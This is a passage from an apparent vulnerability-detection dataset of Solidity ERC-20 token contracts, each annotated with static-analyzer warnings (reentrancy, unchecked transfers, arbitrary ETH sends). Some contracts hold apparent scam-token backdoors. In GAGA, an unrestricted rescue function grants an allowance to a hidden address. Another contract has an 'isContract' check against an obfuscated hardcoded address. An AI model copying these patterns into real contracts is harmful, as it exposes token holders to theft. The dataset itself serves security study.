}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1922e16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1922e16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: cb602ba): GAGA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for cb602ba: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2999c0d): GAGA._bots is never initialized. It is used in GAGA._transfer(address,address,uint256)\n\t// Recommendation for 2999c0d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d7cea7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d7cea7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e7044e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e7044e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: cb602ba\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1922e16\n\t\t\t\t\t// reentrancy-eth | ID: 5d7cea7\n\t\t\t\t\t// reentrancy-eth | ID: e7044e2\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 1922e16\n\t\t\t\t\t\t// reentrancy-eth | ID: 5d7cea7\n\t\t\t\t\t\t// reentrancy-eth | ID: e7044e2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 1922e16\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 5d7cea7\n\t\t\t\t\t\t\t// reentrancy-eth | ID: e7044e2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: e7044e2\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 1922e16\n\t\t\t\t\t// reentrancy-eth | ID: 5d7cea7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 1922e16\n\t\t\t\t\t\t// reentrancy-eth | ID: 5d7cea7\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5d7cea7\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 1922e16\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5d7cea7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5d7cea7\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 1922e16\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2419846\n\t\t// reentrancy-events | ID: 1922e16\n\t\t// reentrancy-benign | ID: 4910587\n\t\t// reentrancy-eth | ID: 5d7cea7\n\t\t// reentrancy-eth | ID: e7044e2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n _magaHouseRouter = _feeWallet;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2419846\n\t\t// reentrancy-events | ID: 1922e16\n\t\t// reentrancy-eth | ID: 5d7cea7\n\t\t// reentrancy-eth | ID: e7044e2\n _feeWallet.transfer(amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e5d2c52): GAGA.rescueErc20Tokens(address) ignores return value by this.transfer(_feeWallet,balanceOf(address(this)))\n\t// Recommendation for e5d2c52: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueErc20Tokens(address _tokenAddy) external {\n approve(_tokenAddy, _magaHouseRouter, _tTotal);\n\n\t\t// unchecked-transfer | ID: e5d2c52\n this.transfer(_feeWallet, balanceOf(address(this)));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da7ecf7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da7ecf7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c15cbfa): GAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c15cbfa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2881068): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2881068: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: da7ecf7\n\t\t// reentrancy-eth | ID: 2881068\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: da7ecf7\n\t\t// unused-return | ID: c15cbfa\n\t\t// reentrancy-eth | ID: 2881068\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: da7ecf7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2881068\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10207.sol",
"size_bytes": 21485,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract G is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e0a0d73): G._taxWallet should be immutable \n\t// Recommendation for e0a0d73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0fefd6): G._initialBuyTax should be constant \n\t// Recommendation for d0fefd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: afd44b0): G._initialSellTax should be constant \n\t// Recommendation for afd44b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9da84c0): G._reduceBuyTaxAt should be constant \n\t// Recommendation for 9da84c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b08168b): G._reduceSellTaxAt should be constant \n\t// Recommendation for b08168b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5600b4b): G._preventSwapBefore should be constant \n\t// Recommendation for 5600b4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8833b99): G.zero should be constant \n\t// Recommendation for 8833b99: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Andrew Tates Dog\";\n\n string private constant _symbol = unicode\"G\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a51c87e): G._taxSwapThreshold should be constant \n\t// Recommendation for a51c87e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c653732): G._maxTaxSwap should be constant \n\t// Recommendation for c653732: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf559a1): G.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf559a1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7bc9bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7bc9bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5aedb56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5aedb56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a7bc9bf\n\t\t// reentrancy-benign | ID: 5aedb56\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a7bc9bf\n\t\t// reentrancy-benign | ID: 5aedb56\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e76a355): G._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e76a355: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5aedb56\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a7bc9bf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2679708): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2679708: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7e81f11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7e81f11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2679708\n\t\t\t\t// reentrancy-eth | ID: 7e81f11\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2679708\n\t\t\t\t\t// reentrancy-eth | ID: 7e81f11\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7e81f11\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7e81f11\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7e81f11\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2679708\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7e81f11\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7e81f11\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2679708\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2679708\n\t\t// reentrancy-events | ID: a7bc9bf\n\t\t// reentrancy-benign | ID: 5aedb56\n\t\t// reentrancy-eth | ID: 7e81f11\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 19bf527): G.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 19bf527: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2679708\n\t\t// reentrancy-events | ID: a7bc9bf\n\t\t// reentrancy-eth | ID: 7e81f11\n\t\t// arbitrary-send-eth | ID: 19bf527\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ce70606): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ce70606: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ea9b68d): G.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ea9b68d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a605104): G.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a605104: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5bac3f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5bac3f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: ce70606\n\t\t\t// reentrancy-eth | ID: 5bac3f0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: ce70606\n\t\t// unused-return | ID: ea9b68d\n\t\t// reentrancy-eth | ID: 5bac3f0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ce70606\n\t\t// unused-return | ID: a605104\n\t\t// reentrancy-eth | ID: 5bac3f0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ce70606\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5bac3f0\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ac55f24): G.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ac55f24: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ac55f24\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10208.sol",
"size_bytes": 20891,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n 